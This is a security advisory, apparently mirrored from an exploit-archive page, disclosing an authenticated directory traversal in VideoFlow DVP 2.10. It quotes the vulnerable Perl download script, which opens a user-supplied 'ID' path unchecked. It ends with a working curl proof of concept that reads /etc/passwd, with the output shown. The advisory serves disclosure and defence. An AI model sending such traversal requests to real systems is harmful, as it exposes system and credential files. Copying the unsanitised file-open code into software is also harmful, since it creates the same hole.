扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
VideoFlow Digital Video Protection DVP 10 Authenticated Directory Traversal Vendor: VideoFlow Ltd. Product web page: http://www.video-flow.com Affected version: 2.10 (X-Prototype-Version: 1.6.0.2) System = Indicate if the DVP is configured as Protector, Sentinel or Fortress Version = The Operating System SW version number Image version = Production Image version System: DVP Protector Version: 1.40.0.15(R) May 5 2015 05:27:05 Image version: 3.07i System: DVP Protector Version: 1.40.0.15(R) May 5 2015 05:27:05 Image version: 2.08 System: DVP Fortress Version: 2.10.0.5(R) Jan 7 2018 03:26:35 Image version: 3.07 Summary: VideoFlow's Digital Video Protection (DVP) product is used by leading companies worldwide to boost the reliability of IP networks, including the public Internet, for professional live broadcast. DVP enables broadcast companies to confidently contribute and distribute live video over IP with unprecedented levels of service continuity, at a fraction of the cost of leased lines or satellite links. It accelerates ROI by reducing operational costs and enabling new revenue streams across a wide variety of markets. Desc: The application suffers from an authenticated arbitrary file disclosure vulnerability including no session expiration. Input passed via the 'ID' parameter in several Perl scripts is not properly verified before being used to download system files. This can be exploited to disclose the contents of arbitrary files via directory traversal attacks. Scripts affected: $ grep -rnH "Content-Disposition" . ./download.pl:30:print "Content-Disposition:attachment;filename=$ID\n\n"; ./download_xml.pl:23:print "Content-Disposition:attachment;filename=$ID\n\n"; ./downloadmib.pl:22:print "Content-Disposition:attachment;filename=$ID\n\n"; ./downloadFile.pl:30:print "Content-Disposition:attachment;filename=$OUTNAME\n\n"; ./downloadsys.pl:22:print "Content-Disposition:attachment;filename=$ID\n\n"; ---------------------------------------------------------------------------- /dvp100/confd/docroot/cgi-bin/downloadsys.pl: --------------------------------------------- 1#!/usr/bin/perl -wT 2# http://www.sitepoint.com/file-download-script-perl/ 3 4use strict; 5use CGI; 6use CGI::Carp qw ( fatalsToBrowser ); 7my $files_location; 8my $query = CGI->new; 9my $ID = $query->param('ID'); 10my @fileholder; 11 12$files_location = "/dvp100/confd/docroot/cgi-bin/"; 13#$ID = "syslog.tar.gz"; #param('ID'); 14 15if ($ID eq '') { 16 17} else { 18open(DLFILE, "<$files_location/$ID") || Error('open', 'file'); 19@fileholder = <DLFILE>; 20close (DLFILE) || Error ('close', 'file'); 21print "Content-Type:application/x-download\n"; 22print "Content-Disposition:attachment;filename=$ID\n\n"; 23print @fileholder; 24} ---------------------------------------------------------------------------- Tested on: CentOS release 5.6 (Final) (2.6.18-238.12.1.el5) CentOS release 5.10 (Final) (2.6.18-371.el5) ConfD Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5454 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5454.php 01.02.2018 --- curl 'http://17.17.17.17/cgi-bin/downloadsys.pl?ID=../../../../etc/passwd' -H Cookie:sessionid=sess3638473331458218 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin ... ... |
体验盒子
